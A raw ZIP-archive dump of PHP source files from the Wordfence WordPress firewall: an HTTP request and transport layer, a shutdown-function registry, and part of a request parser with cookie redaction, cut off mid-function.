﻿??????????????
﻿﻿??????????????
PK       ! Cb*  *    http.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

class wfWAFHTTP {

	private $url;
	private $auth;
	private $body;
	private $cookies;
//	private $fileNames;
//	private $files;
	private $headers;
	private $method;
	private $queryString;

	/**
	 * @var wfWAFHTTPTransport
	 */
	private $transport;

	/**
	 * @param string $url
	 * @param wfWAFHTTP $request
	 * @return wfWAFHTTPResponse|bool
	 * @throws wfWAFHTTPTransportException
	 */
	public static function get($url, $request = null, $timeout = 5, $connectTimeout = null) {
		if (!$request) {
			$request = new self();
		}
		$request->setUrl($url);
		$request->setMethod('GET');
		$transport = wfWAFHTTPTransport::getInstance();
		$transport->setConnectTimeout($connectTimeout);
		$transport->setTimeout($timeout);
		$request->setTransport($transport);
		// $request->setCookies("XDEBUG_SESSION=netbeans-xdebug");
		return $request->send();
	}

	/**
	 * @param string $url
	 * @param array $post
	 * @param wfWAFHTTP $request
	 * @return wfWAFHTTPResponse|bool
	 * @throws wfWAFHTTPTransportException
	 */
	public static function post($url, $post = array(), $request = null, $timeout = 5, $connectTimeout = null) {
		if (!$request) {
			$request = new self();
		}
		$request->setUrl($url);
		$request->setMethod('POST');
		$request->setBody($post);
		$transport = wfWAFHTTPTransport::getInstance();
		$transport->setConnectTimeout($connectTimeout);
		$transport->setTimeout($timeout);
		$request->setTransport($transport);
		return $request->send();
	}

	/**
	 * @return wfWAFHTTPResponse|bool
	 * @throws wfWAFHTTPTransportException
	 */
	public function send() {
		if (!$this->getTransport()) {
			throw new wfWAFHTTPTransportException('Need to provide a valid HTTP transport before calling ' . __METHOD__);
		}
		return $this->getTransport()->send($this);
	}

	/**
	 * @return mixed
	 */
	public function getUrl() {
		return $this->url;
	}

	/**
	 * @param mixed $url
	 */
	public function setUrl($url) {
		$this->url = $url;
	}

	/**
	 * @return mixed
	 */
	public function getAuth() {
		return $this->auth;
	}

	/**
	 * @param mixed $auth
	 */
	public function setAuth($auth) {
		$this->auth = $auth;
	}

	/**
	 * @return mixed
	 */
	public function getBody() {
		return $this->body;
	}

	/**
	 * @param mixed $body
	 */
	public function setBody($body) {
		$this->body = $body;
	}

	/**
	 * @return mixed
	 */
	public function getCookies() {
		return $this->cookies;
	}

	/**
	 * @param mixed $cookies
	 */
	public function setCookies($cookies) {
		$this->cookies = $cookies;
	}

	/**
	 * @return mixed
	 */
	public function getHeaders() {
		return $this->headers;
	}

	/**
	 * @param mixed $headers
	 */
	public function setHeaders($headers) {
		$this->headers = $headers;
	}

	/**
	 * @return mixed
	 */
	public function getMethod() {
		return $this->method;
	}

	/**
	 * @param mixed $method
	 */
	public function setMethod($method) {
		$this->method = $method;
	}

	/**
	 * @return mixed
	 */
	public function getQueryString() {
		return $this->queryString;
	}

	/**
	 * @param mixed $queryString
	 */
	public function setQueryString($queryString) {
		$this->queryString = $queryString;
	}

	/**
	 * @return wfWAFHTTPTransport
	 */
	public function getTransport() {
		return $this->transport;
	}

	/**
	 * @param wfWAFHTTPTransport $transport
	 */
	public function setTransport($transport) {
		$this->transport = $transport;
	}
}

class wfWAFHTTPResponse {

	private $body;
	private $headers;
	private $statusCode;

	/**
	 * @return mixed
	 */
	public function getBody() {
		return $this->body;
	}

	/**
	 * @param mixed $body
	 */
	public function setBody($body) {
		$this->body = $body;
	}

	/**
	 * @return mixed
	 */
	public function getHeaders() {
		return $this->headers;
	}

	/**
	 * @param mixed $headers
	 */
	public function setHeaders($headers) {
		$this->headers = $headers;
	}

	/**
	 * @return mixed
	 */
	public function getStatusCode() {
		return $this->statusCode;
	}

	/**
	 * @param mixed $statusCode
	 */
	public function setStatusCode($statusCode) {
		$this->statusCode = $statusCode;
	}
}

abstract class wfWAFHTTPTransport {
	private static $instance;
	
	private $_connectTimeout = null;
	private $_timeout = 5;

	/**
	 * @return wfWAFHTTPTransport
	 * @throws wfWAFHTTPTransportException
	 */
	public static function getInstance() {
		if (!self::$instance) {
			self::$instance = self::getFirstTransport();
		}
		return self::$instance;
	}

	/**
	 * @param mixed $instance
	 */
	public static function setInstance($instance) {
		self::$instance = $instance;
	}

	/**
	 * @return wfWAFHTTPTransport
	 * @throws wfWAFHTTPTransportException
	 */
	public static function getFirstTransport() {
		if (function_exists('curl_init')) {
			return new wfWAFHTTPTransportCurl();
		} else if (function_exists('file_get_contents')) {
			return new wfWAFHTTPTransportStreams();
		}
		throw new wfWAFHTTPTransportException('No valid HTTP transport found.');
	}

	/**
	 * @param array $cookieArray
	 * @return string
	 */
	public static function buildCookieString($cookieArray) {
		$cookies = '';
		foreach ($cookieArray as $cookieName => $value) {
			$cookies .= "$cookieName=" . urlencode($value) . '; ';
		}
		$cookies = rtrim($cookies);
		return $cookies;
	}

	/**
	 * @param wfWAFHTTP $request
	 * @return wfWAFHTTPResponse|bool
	 */
	abstract public function send($request);
	
	public function setConnectTimeout($connectTimeout) {
		$this->_connectTimeout = $connectTimeout;
	}
	public function getConnectTimeout() {
		return $this->_connectTimeout;
	}
	
	public function setTimeout($timeout) {
		$this->_timeout = $timeout;
	}
	public function getTimeout() {
		return $this->_timeout;
	}
}

class wfWAFHTTPTransportCurl extends wfWAFHTTPTransport {

	/**
	 * @todo Proxy settings
	 * @param wfWAFHTTP $request
	 * @return wfWAFHTTPResponse|bool
	 */
	public function send($request) {
		$url = $request->getUrl();
		if ($queryString = $request->getQueryString()) {
			if (is_array($queryString)) {
				$queryString = http_build_query($queryString, '', '&');
			}
			$url .= (wfWAFUtils::strpos($url, '?') !== false ? '&' : '?') . $queryString;
		}

		$ch = curl_init($url);
		switch (wfWAFUtils::strtolower($request->getMethod())) {
			case 'post':
				curl_setopt($ch, CURLOPT_POST, 1);
				break;
		}
		if ($body = $request->getBody()) {
			curl_setopt($ch, CURLOPT_POSTFIELDS, $body);
		}
		if ($auth = $request->getAuth()) {
			curl_setopt($ch, CURLOPT_USERPWD, $auth['user'] . ':' . $auth['password']);
		}
		if ($cookies = $request->getCookies()) {
			if (is_array($cookies)) {
				$cookies = self::buildCookieString($cookies);
			}
			curl_setopt($ch, CURLOPT_COOKIE, $cookies);
		}
		if ($headers = $request->getHeaders()) {
			if (is_array($headers)) {
				$_headers = array();
				foreach ($headers as $header => $value) {
					$_headers[] = $header . ': ' . $value;
				}
				curl_setopt($ch, CURLOPT_HTTPHEADER, $_headers);
			}
		}
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
		if ($this->getConnectTimeout() !== null) { curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->getConnectTimeout()); }
		curl_setopt($ch, CURLOPT_TIMEOUT, $this->getTimeout());
		if (defined('CURLOPT_ACCEPT_ENCODING')) {
			curl_setopt($ch, CURLOPT_ACCEPT_ENCODING, ''); //The empty string is a magic value that means "send all supported encodings"
		}
		else if (defined('CURLOPT_ENCODING')) {
			curl_setopt($ch, CURLOPT_ENCODING, '');
		}
		curl_setopt($ch, CURLOPT_HEADER, 1);
		curl_setopt($ch, CURLOPT_CAINFO, WFWAF_PATH . 'cacert.pem'); //On some systems curl uses an outdated root certificate chain file
		$curlResponse = curl_exec($ch);
		
		if ($curlResponse !== false) {
			$headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
			$header = wfWAFUtils::substr($curlResponse, 0, $headerSize);
			$body = wfWAFUtils::substr($curlResponse, $headerSize);

			$response = new wfWAFHTTPResponse();
			$response->setBody($body);
			$response->setHeaders($header);
			$response->setStatusCode(curl_getinfo($ch, CURLINFO_HTTP_CODE));
			return $response;
		}
		return false;
	}
}

class wfWAFHTTPTransportStreams extends wfWAFHTTPTransport {

	/**
	 * @todo Implement wfWAFHTTPTransportStreams::send.
	 * @param wfWAFHTTP $request
	 * @return mixed
	 * @throws wfWAFHTTPTransportException
	 */
	public function send($request) {
		$timeout = $this->getTimeout();

		$url = $request->getUrl();
		if ($queryString = $request->getQueryString()) {
			if (is_array($queryString)) {
				$queryString = http_build_query($queryString, '', '&');
			}
			$url .= (wfWAFUtils::strpos($url, '?') !== false ? '&' : '?') . $queryString;
		}

		$urlParsed = parse_url($request->getUrl());

		$headers = "Host: $urlParsed[host]\r\n";
		if ($auth = $request->getAuth()) {
			$headers .= 'Authorization: Basic ' . base64_encode($auth['user'] . ':' . $auth['password']) . "\r\n";
		}
		if ($cookies = $request->getCookies()) {
			if (is_array($cookies)) {
				$cookies = self::buildCookieString($cookies);
			}
			$headers .= "Cookie: $cookies\r\n";
		}
		$hasUA = false;
		if ($_headers = $request->getHeaders()) {
			if (is_array($_headers)) {
				foreach ($_headers as $header => $value) {
					if (trim(wfWAFUtils::strtolower($header)) === 'user-agent') {
						$hasUA = true;
					}
					$headers .= $header . ': ' . $value . "\r\n";
				}
			}
		}
		if (!$hasUA) {
			$headers .= "User-Agent: Wordfence Streams UA\r\n";
		}

		$httpOptions = array(
			'method'          => $request->getMethod(),
			'ignore_errors'   => true,
			'timeout'         => $timeout,
			'follow_location' => 1,
			'max_redirects'   => 5,
		);
		if (wfWAFUtils::strlen($request->getBody()) > 0) {
			$httpOptions['content'] = $request->getBody();
			$headers .= 'Content-Length: ' . wfWAFUtils::strlen($httpOptions['content']) . "\r\n";
		}
		$httpOptions['header'] = $headers;

		$options = array(
			wfWAFUtils::strtolower($urlParsed['scheme']) => $httpOptions,
		);

		$context = stream_context_create($options);
		$stream = fopen($request->getUrl(), 'r', false, $context);
		if (!is_resource($stream)) {
			return false;
		}

		$metaData = stream_get_meta_data($stream);

		// Get the HTTP response code
		$httpResponse = array_shift($metaData['wrapper_data']);

		if (preg_match_all('/(\w+\/\d\.\d) (\d{3})/', $httpResponse, $matches) !== false) {
			// $protocol = $matches[1][0];
			$status = (int) $matches[2][0];
		} else {
			// $protocol = null;
			$status = null;
		}

		$responseObj = new wfWAFHTTPResponse();
		$responseObj->setHeaders(join("\r\n", $metaData['wrapper_data']));
		$responseObj->setBody(stream_get_contents($stream));
		$responseObj->setStatusCode($status);

		// Close the stream after use
		fclose($stream);

		return $responseObj;
	}
}

class wfWAFHTTPTransportException extends wfWAFException {
}
}PK       ! -  -    shutdown.phpnu [        <?php

class wfShutdownFunction {

	private $callable;
	private $priority;

	public function __construct($callable, $priority) {
		$this->callable = $callable;
		$this->priority = $priority;
	}

	public function invoke() {
		call_user_func($this->callable);
	}

	public function getPriority() {
		return $this->priority;
	}

	public function __wakeup() {
		$this->callable = function() {};
	}

}

class wfShutdownRegistry {

	private static $instance = null;

	const PRIORITY_LAST = 100;

	private $functions = array();
	private $registered = false;

	public function handleShutdown() {
		usort($this->functions, function ($a, $b) {
			return $a->getPriority() - $b->getPriority();
		});
		foreach ($this->functions as $function) {
			$function->invoke();
		}
	}

	public function register($function, $priority = 50) {
		array_push($this->functions, new wfShutdownFunction($function, $priority));
		$this->registerSelf();
	}

	private function registerSelf() {
		if (!$this->registered) {
			register_shutdown_function(array($this, 'handleShutdown'));
			$this->registered = true;
		}
	}

	public function __wakeup() {
		$this->functions = array();
		$this->registered = false;
	}

	public static function getDefaultInstance() {
		if (self::$instance === null)
			self::$instance = new self();
		return self::$instance;
	}

}PK       !       request.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

interface wfWAFRequestInterface {

	public function getBody();
	
	public function getRawBody();
	
	public function getMd5Body();

	public function getJsonBody();

	public function getQueryString();
	
	public function getMd5QueryString();

	public function getHeaders();

	public function getCookies();

	public function getFiles();

	public function getFileNames();

	public function getHost();

	public function getURI();
	
	public function setMetadata($metadata);
	public function getMetadata();

	public function getPath();

	public function getIP();

	public function getMethod();

	public function getProtocol();

	public function getAuth();

	public function getTimestamp();

	public function __toString();

}

abstract class wfCookieRedactor {

	const REDACTION_MESSAGE = '[redacted]';

	public abstract function redact(&$name, &$value);

	public static function load() {
		$patterns = null;
		$waf = wfWAF::getInstance();
		if ($waf !== null) {
			$patterns = $waf->getCookieRedactionPatterns();
		}
		if ($patterns === null) {
			return new wfGlobalCookieRedactor();
		}
		else {
			return new wfPatternCookieRedactor($waf->getCookieRedactionPatterns());
		}
	}

	public static function loadFromWaf() {
		return new self($patterns);
	}

	public static function getEncodedRedactionMessage() {
		static $encoded = null;
		if ($encoded === null)
			$encoded = urlencode(self::REDACTION_MESSAGE);
		return $encoded;
	}

}

class wfGlobalCookieRedactor extends wfCookieRedactor {

	public function redact(&$name, &$value) {
		$name = self::getEncodedRedactionMessage();
		$value = self::REDACTION_MESSAGE;
	}

}

class wfPatternCookieRedactor extends wfCookieRedactor {

	private $patterns;

	public function __construct($patterns) {
		$this->patterns = $patterns;
	}

	private static function replaceName($matches) {
		if (count($matches) < 2)
			return self::getEncodedRedactionMessage();
		$name = $matches[0][0];
		$redacted = array();
		$position = 0;
		for ($i = 1; $i < count($matches); $i++) {
			$retained = $matches[$i][0];
			$retainedStart = $matches[$i][1];
			$retainedLength = strlen($retained);
			if ($retainedStart > $position)
				$redacted[] = self::getEncodedRedactionMessage();
			$redacted[] = $retained;
			$position = $retainedStart + $retainedLength;
		}
		if ($position < strlen($name))
			$redacted []= self::getEncodedRedactionMessage();
		return implode('', $redacted);
	}

	/**
	 * TODO: Remove this fallback support for PHP versions earlier than 7.4 is no longer required
	 */
	private static function replaceNameFallback($matches) {
		$completeMatch = array_shift($matches);
		$completeRetained = implode('', $matches);
		if ($completeMatch === $completeRetained)
			return $completeRetained;
		$matches[] = '';
		return implode(self::getEncodedRedactionMessage(), $matches);
	}

	public function redact(&$name, &$value) {
		$pregOffsetCaptureSupported = version_compare(PHP_VERSION, '7.4.0', '>=');
		$nameCallback = array($this, $pregOffsetCaptureSupported ? 'replaceName' : 'replaceNameFallback');
		foreach ($this->patterns as $namePattern => $valuePatterns) {
			if ($pregOffsetCaptureSupported) {
				$nameRedacted = preg_replace_callback($namePattern, $nameCallback, $name, 1, $matchCount, PREG_OFFSET_CAPTURE);
			}
			else {
				$nameRedacted = preg_replace_callback($namePattern, $nameCallback, $name, 1, $matchCount);
			}
			if ($matchCount === 1 && $nameRedacted !== null) {
				$name = $nameRedacted;
				if ($valuePatterns === null)
					return;
				if (is_string($valuePatterns))
					$valuePatterns = array($valuePatterns);
				if (is_array($valuePatterns)) {
					$valueMatched = false;
					foreach ($valuePatterns as $valuePattern) {
						if (preg_match($valuePattern, $value) === 1) {
							$valueMatched = true;
							break;
						}
					}
					if (!$valueMatched)
						return;
				}
				$value = self::REDACTION_MESSAGE;
				break;
			}
		}
	}

}

class wfWAFRequest implements wfWAFRequestInterface {

	/**
	 * @param string $requestString
	 * @return wfWAFRequest
	 */
	public static function parseString($requestString) {
		if (!is_string($requestString)) {
			throw new InvalidArgumentException(__METHOD__ . ' expects a string for first parameter, recieved ' . gettype($requestString));
		}

		if (version_compare(phpversion(), '5.3.0') > 0) {
			$class = get_called_class();
			$request = new $class();
		} else {
			$request = new self();
		}

		$request->setAuth(array());
		$request->setBody(array());
		$request->setMd5Body(array());
		$request->setCookies(array());
		$request->setFileNames(array());
		$request->setFiles(array());
		$request->setHeaders(array());
		$request->setHost('');
		$request->setIP('');
		$request->setMethod('');
		$request->setPath('');
		$request->setProtocol('');
		$request->setQueryString(array());
		$request->setMd5QueryString(array());
		$request->setTimestamp('');
		$request->setURI('');
		$request->setMetadata(array());

		list($headersString, $bodyString) = explode("\n\n", $requestString, 2);
		$headersString = trim($headersString);
		$bodyString = trim($bodyString);
		
		if (defined('WFWAF_DISABLE_RAW_BODY') && WFWAF_DISABLE_RAW_BODY) {
			$request->setRawBody('');
		}
		else {
			$request->setRawBody($bodyString);
		}
		
		$headers = explode("\n", $headersString);
		// Assume first is method
		if (preg_match('/^([a-z]+) (.*?) HTTP\/1.[0-9]/i', $headers[0], $matches)) {
			$request->setMethod($matches[1]);
			$uri = $matches[2];
			$request->setUri($uri);
			if (($pos = wfWAFUtils::strpos($uri, '?')) !== false) {
				$queryString = wfWAFUtils::substr($uri, $pos + 1);
				parse_str($queryString, $queryStringArray);
				$request->setQueryString($queryStringArray);

				$path = wfWAFUtils::substr($uri, 0, $pos);
				$request->setPath($path);
			} else {
				$request->setPath($uri);
			}
		}
		$kvHeaders = array();
		for ($i = 1; $i < count($headers); $i++) {
			$headerString = $headers[$i];
			list($header, $headerValue) = explode(':', $headerString, 2);
			$header = trim($header);
			$headerValue = trim($headerValue);
			$kvHeaders[$header] = $headerValue;

			switch (wfWAFUtils::strtolower($header)) {
				case 'authorization':
					if (preg_match('/basic ([A-Za-z0-9\+\/=]+)/i', $headerValue, $matches)) {
						list($authUser, $authPass) = explode(':', base64_decode($matches[1]), 2);
						$auth['user'] = $authUser;
						$auth['password'] = $authPass;
						$request->setAuth($auth);
					}
					break;

				case 'host':
					$request->setHost($headerValue);
					break;

				case 'cookie':
					$cookieArray = array();
					$cookies = str_replace('&', '%26', $headerValue);
					$cookies = preg_replace('/\s*;\s*/', '&', $cookies);
					parse_str($cookies, $cookieArray);
					$request->setCookies($cookieArray);
					break;
			}

		}
		$request->setHeaders($kvHeaders);

		if (wfWAFUtils::strlen($bodyString) > 0) {
			if (preg_match('/^multipart\/form\-data; boundary=(.*?)$/i', $request->getHeaders('Content-Type'), $boundaryMatches)) {
				$body = '';
				$files = array();
				$fileNames = array();

				$boundary = $boundaryMatches[1];
				$bodyChunks = explode("--$boundary", $bodyString);
				foreach ($bodyChunks as $chunk) {
					if (!$chunk || $chunk == '--') {
						continue;
					}

					list($chunkHeaders, $chunkData) = explode("\n\n", $chunk, 2);
					$chunkHeaders = explode("\n", $chunkHeaders);
					$param = array(
						'value' => wfWAFUtils::substr($chunkData, 0, -1),
					);
					foreach ($chunkHeaders as $chunkHeader) {
						if (wfWAFUtils::strpos($chunkHeader, ':') !== false) {
							list($chunkHeaderKey, $chunkHeaderValue) = explode(':', $chunkHeader, 2);
							$chunkHeaderKey = trim($chunkHeaderKey);
							$chunkHeaderValue = trim($chunkHeaderValue);
							switch ($chunkHeaderKey) {
								case 'Content-Disposition':
									$dataAttributes = explode(';', $chunkHeaderValue);
									foreach ($dataAttributes as $attr) {
										$attr = trim($attr);
										if (preg_match('/^name="(.*?)"$/i', $attr, $attrMatch)) {
											$param['name'] = $attrMatch[1];
											continue;
										}
										if (preg_match('/^filename="(.*?)"$/i', $attr, $attrMatch)) {
											$param['filename'] = $attrMatch[1];
											continue;
										}
									}
									break;
								case 'Content-Type':
									$param['type'] = $chunkHeaderValue;
									break;
							}
						}
					}
					if (array_key_exists('name', $param)) {
						if (array_key_exists('filename', $param)) {
							$files[$param['name']] = array(
								'name'    => $param['filename'],
								'type'    => $param['type'],
								'size'    => wfWAFUtils::strlen($param['value']),
								'content' => $param['value'],
							);
							$fileNames[$param['name']] = $param['filename'];
						} else {
							$body .= urlencode($param['name']) . '=' . urlencode($param['value']) . '&';
						}
					}
				}

				if ($body) {
					parse_str($body, $postBody);
					if (is_array($postBody)) {
						$request->setBody($postBody);
					} else {
						$request->setBody($body);
					}
				}
				if ($files) {
					$request->setFiles($files);
				}
				if ($fileNames) {
					$request->setFileNames($fileNames);
				}

			} else {
				parse_str($bodyString, $postBody);
				if (is_array($postBody)) {
					$request->setBody($postBody);
				} else {
					$request->setBody($bodyString);
				}
			}
		}

		return $request;
	}

	private static function extractFileProperty($key, $property) {
		$extracted = array();
		if (is_array($property)) {
			foreach ($property as $nestedKey => $value) {
				$nestedKey = "{$key}[" . var_export($nestedKey, true) . ']';
				foreach (self::extractFileProperty($nestedKey, $value) as $nested) {
					$extracted[] = $nested;
				}
			}
		}
		else if (is_string($property) || is_int($property)) {
			$extracted[] = array(
				$key,
				$property
			);
		}
		return $extracted;
	}

	private static function flattenFiles($files) {
		$flat = array();
		foreach ($files as $baseKey => $file) {
			foreach ($file as $property => $value) {
				foreach (self::extractFileProperty($baseKey, $value) as $extracted) {
					list($finalKey, $finalValue) = $extracted;
					if (!array_key_exists($finalKey, $flat))
						$flat[$finalKey] = array();
					$flat[$finalKey][$property] = $finalValue;
				}
			}
		}
		return $flat;
	}

	/**
	 * @param wfWAFRequest|null $request
	 * @return wfWAFRequest
	 */
	public static function createFromGlobals($request = null) {
		if ($request === null) {
			if (version_compare(phpversion(), '5.3.0') > 0) {
				$class = get_called_class();
				$request = new $class();
			} else {
				$request = new self();
			}
		}

		$request->setAuth(array());
		$request->setCookies(array());
		$request->setFileNames(array());
		$request->setFiles(array());
		$request->setHeaders(array());
		$request->setHost('');
		$request->setIP('');
		$request->setMethod('');
		$request->setPath('');
		$request->setProtocol('');
		$request->setTimestamp('');
		$request->setURI('');
		$request->setMetadata(array());

		$request->setBody(wfWAFUtils::stripMagicQuotes($_POST));
		if (defined('WFWAF_DISABLE_RAW_BODY') && WFWAF_DISABLE_RAW_BODY) {
			$request->setRawBody('');
		}
		else {
			$rawBody=wfWAFUtils::rawPOSTBody();
			$request->setRawBody($rawBody);
		}
		
		$request->setQueryString(wfWAFUtils::stripMagicQuotes($_GET));
		$request->setCookies(wfWAFUtils::stripMagicQuotes($_COOKIE));
		$request->setFiles(wfWAFUtils::stripMagicQuotes(self::flattenFiles($_FILES)));

		if (!empty($_FILES)) {
			$fileNames = array();
			foreach ($_FILES as $input => $file) {
				$fileNames[$input] = wfWAFUtils::stripMagicQuotes($file['name']);
			}
			$request->setFileNames($fileNames);
		}

		if (is_array($_SERVER)) { //All of these depend on $_SERVER being non-null and an array
			$auth = array();
			if (array_key_exists('PHP_AUTH_USER', $_SERVER)) {
				$auth['user'] = wfWAFUtils::stripMagicQuotes($_SERVER['PHP_AUTH_USER']);
			}
			if (array_key_exists('PHP_AUTH_PW', $_SERVER)) {
				$auth['password'] = wfWAFUtils::stripMagicQuotes($_SERVER['PHP_AUTH_PW']);
			}
			$request->setAuth($auth);

			if (array_key_exists('REQUEST_TIME_FLOAT', $_SERVER)) {
				$timestamp = $_SERVER['REQUEST_TIME_FLOAT'];
			} else if (array_key_exists('REQUEST_TIME', $_SERVER)) {
				$timestamp = $_SERVER['REQUEST_TIME'];
			} else {
				$timestamp = time();
			}
			$request->setTimestamp($timestamp);

			$headers = array();
			foreach ($_SERVER as $key => $value) {
				if (wfWAFUtils::strpos($key, 'HTTP_') === 0) {
					$header = wfWAFUtils::substr($key, 5);
					$header = str_replace(array(' ', '_'), array('', ' '), $header);
					$header = ucwords(wfWAFUtils::strtolower($header));
					$header = str_replace(' ', '-', $header);
					$headers[$header] = wfWAFUtils::stripMagicQuotes($value);
				}
			}
			if (array_key_exists('CONTENT_TYPE', $_SERVER)) {
				$headers['Content-Type'] = wfWAFUtils::stripMagicQuotes($_SERVER['CONTENT_TYPE']);
			}
			if (array_key_exists('CONTENT_LENGTH', $_SERVER)) {
				$headers['Content-Length'] = wfWAFUtils::stripMagicQuotes($_SERVER['CONTENT_LENGTH']);
			}
			$request->setHeaders($headers);

			$host = '';
			if (array_key_exists('Host', $headers)) {
				$host = $headers['Host'];
			} else if (array_key_exists('SERVER_NAME', $_SERVER)) {
				$host = wfWAFUtils::stripMagicQuotes($_SERVER['SERVER_NAME']);
			}
			$request->setHost($host);

			$request->setMethod(array_key_exists('REQUEST_METHOD', $_SERVER) ? wfWAFUtils::stripMagicQuotes($_SERVER['REQUEST_METHOD']) : 'GET');
			$request->setProtocol((array_key_exists('HTTPS', $_SERVER) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http');
			$request->setUri(array_key_exists('REQUEST_URI', $_SERVER) ? wfWAFUtils::stripMagicQuotes($_SERVER['REQUEST_URI']) : '');

			$uri = parse_url($request->getURI());
			if (is_array($uri) && array_key_exists('path', $uri)) {
				$path = $uri['path'];
			} else {
				$path = $request->getURI();
			}
			$request->setPath($path);
		}

		return $request;
	}

	private $auth;
	private $body;
	private $rawBody;
	private $md5Body;
	private $jsonBody;
	private $jsonParsed = false;
	private $cookies;
	private $fileNames;
	private $files;
	private $headers;
	private $host;
	private $ip;
	private $method;
	private $path;
	private $protocol;
	private $queryString;
	private $md5QueryString;
	private $timestamp;
	private $uri;
	private $metadata;

	private $highlightParamFormat;
	private $highlightMatchFormat;
	private $highlightMatches;
	private $highlightMatchFilter = 'urlencode';


	protected function _arrayValueByKeys($global, $key) {
		if (is_array($global)) {
			if (is_array($key)) {
				$_key = array_shift($key);
				if (array_key_exists($_key, $global)) {
					if (count($key) > 0) {
						return $this->_arrayValueByKeys($global[$_key], $key);
					} else {
						return $global[$_key];
					}
				}
			} else {
				return array_key_exists($key, $global) ? $global[$key] : null;
			}
		}
		return null;
	}

	public function getBody() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->body, $args);
		}
		return $this->body;
	}
	
	public function getRawBody() {
		return $this->rawBody;
	}
	
	public function getMd5Body() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->md5Body, $args);
		}
		return $this->md5Body;
	}

	public function getJsonBody() {
		if ($this->jsonParsed === false) {
			if (defined('WFWAF_DISABLE_RAW_BODY') && WFWAF_DISABLE_RAW_BODY) {
				$this->setJsonBody(null);
			}
			else {
				$this->setJsonBody(wfWAFUtils::json_decode($this->getRawBody(), true));
			}
		}
		return $this->jsonBody;
	}

	public function getQueryString() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->queryString, $args);
		}
		return $this->queryString;
	}
	
	public function getMd5QueryString() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->md5QueryString, $args);
		}
		return $this->md5QueryString;
	}

	public function getHeaders() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->headers, $args);
		}
		return $this->headers;
	}

	public function getCookies() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->cookies, $args);
		}
		return $this->cookies;
	}

	/*
	 * Formats the provided cookie array (or $this->getCookies() if null) into a string
	 * and preserves arrays.
	 *
	 * The format is in "cookie1=value; cookie2=value, ..."
	 *
	 * @param array|null $cookies
	 * @param string|null $baseKey The base key used when recursing.
	 * @return string
	 */
	public function getCookieString($cookies = null, $baseKey = null, $preventRedaction = false, $redactor = null) {
		if ($cookies == null) {
			$cookies = $this->getCookies();
		}
		$isAssoc = (array_keys($cookies) !== range(0, count($cookies) - 1));
		$cookieString = '';
		if ($redactor === null)
			$redactor = wfCookieRedactor::load();
		foreach ($cookies as $cookieName => $cookieValue) {
			$resolvedName = $cookieName;
			if ($baseKey !== null) {
				if ($isAssoc) {
					$resolvedName = $baseKey . '[' . $cookieName . ']';
				}
				else {
					$resolvedName = $baseKey . '[]';
				}
			}

			if (is_array($cookieValue)) {
				$nestedCookies = $this->getCookieString($cookieValue, $resolvedName);
				$cookieString .= $nestedCookies;
			}
			else {
				if (!$preventRedaction)
					$redactor->redact($resolvedName, $cookieValue);
				
				$cookieString .= $resolvedName . '=' . urlencode($cookieValue) . '; ';
			}
		}
		return $cookieString;
	}

	public function getFiles() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->files, $args);
		}
		return $this->files;
	}

	public function getFileNames() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->fileNames, $args);
		}
		return $this->fileNames;
	}

	public function getHost() {
		return $this->host;
	}

	public function getURI() {
		return $this->uri;
	}
	
	public function getMetadata() {
		if (func_num_args() > 0) {
			$args = func_get_args();
			return $this->_arrayValueByKeys($this->metadata, $args);
		}
		return $this->metadata;
	}

	public function getPath() {
		return $this->path;
	}

	public function getIP() {
		return $this->ip;
	}

	public function getMethod() {
		return $this->method;
	}

	public function getProtocol() {
		return $this->protocol;
	}

	public function getAuth($arg1 = null) {
		if ($arg1) {
			if (is_array($this->auth) && array_key_exists($arg1, $this->auth)) {
				return $this->auth[$arg1];
			}
			return null;
		}
		return $this->auth;
	}

	public function getTimestamp() {
		return $this->timestamp;
	}

	public function __toString() {
		return $this->highlightFailedParams();
	}

	/**
	 * @param array $failedParams
	 * @param string $highlightParamFormat
	 * @param string $highlightMatchFormat
	 * @return string
	 */
	public function highlightFailedParams($failedParams = array(), $highlightParamFormat = '[param]%s[/param]',
	                                      $highlightMatchFormat = '[match]%s[/match]', $preventRedaction = false) {
		$highlights = array();

		// Cap at 47.5kb
		$maxRequestLen = 1024 * 47.5;

		$this->highlightParamFormat = $highlightParamFormat;
		$this->highlightMatchFormat = $highlightMatchFormat;

		if (is_array($failedParams)) {
			foreach ($failedParams as $paramKey => $categories) {
				foreach ($categories as $categoryKey => $failedRules) {
					foreach ($failedRules as $failedRule) {
						$rule = $failedRule['rule'];
						/** @var wfWAFRuleComparisonFailure $failedComparison */
						$failedComparison = $failedRule['failedComparison'];
						$action = $failedRule['action'];

						$paramKey = $failedComparison->getParamKey();
						if (preg_match('/request\.([a-z0-9]+)(?:\[(.*?)\](.*?))?$/i', $paramKey, $matches)) {
							$global = $matches[1];
							if (method_exists('wfWAFRequestInterface', "get" . ucfirst($global))) {
								$highlight = array(
									'match' => $failedComparison->getMatches(),
								);
								if (isset($matches[2])) {
									$highlight['param'] = "$matches[2]$matches[3]";
								}
								$highlights[$global][] = $highlight;
							}
						}
					}
				}
			}
		}

		$uri = $this->getURI();
		$queryStringPos = wfWAFUtils::strpos($uri, '?');
		if ($queryStringPos !== false) {
			$uri = wfWAFUtils::substr($uri, 0, $queryStringPos);
		}
		$queryString = $this->getQueryString();
		if ($queryString) {
			$uri .= '?' . http_build_query($queryString, '', '&');
		}
		if (!empty($highlights['queryString'])) {
			foreach ($highlights['queryString'] as $matches) {
				if (!empty($matches['param'])) {
					$this->highlightMatches = $matches['match'];
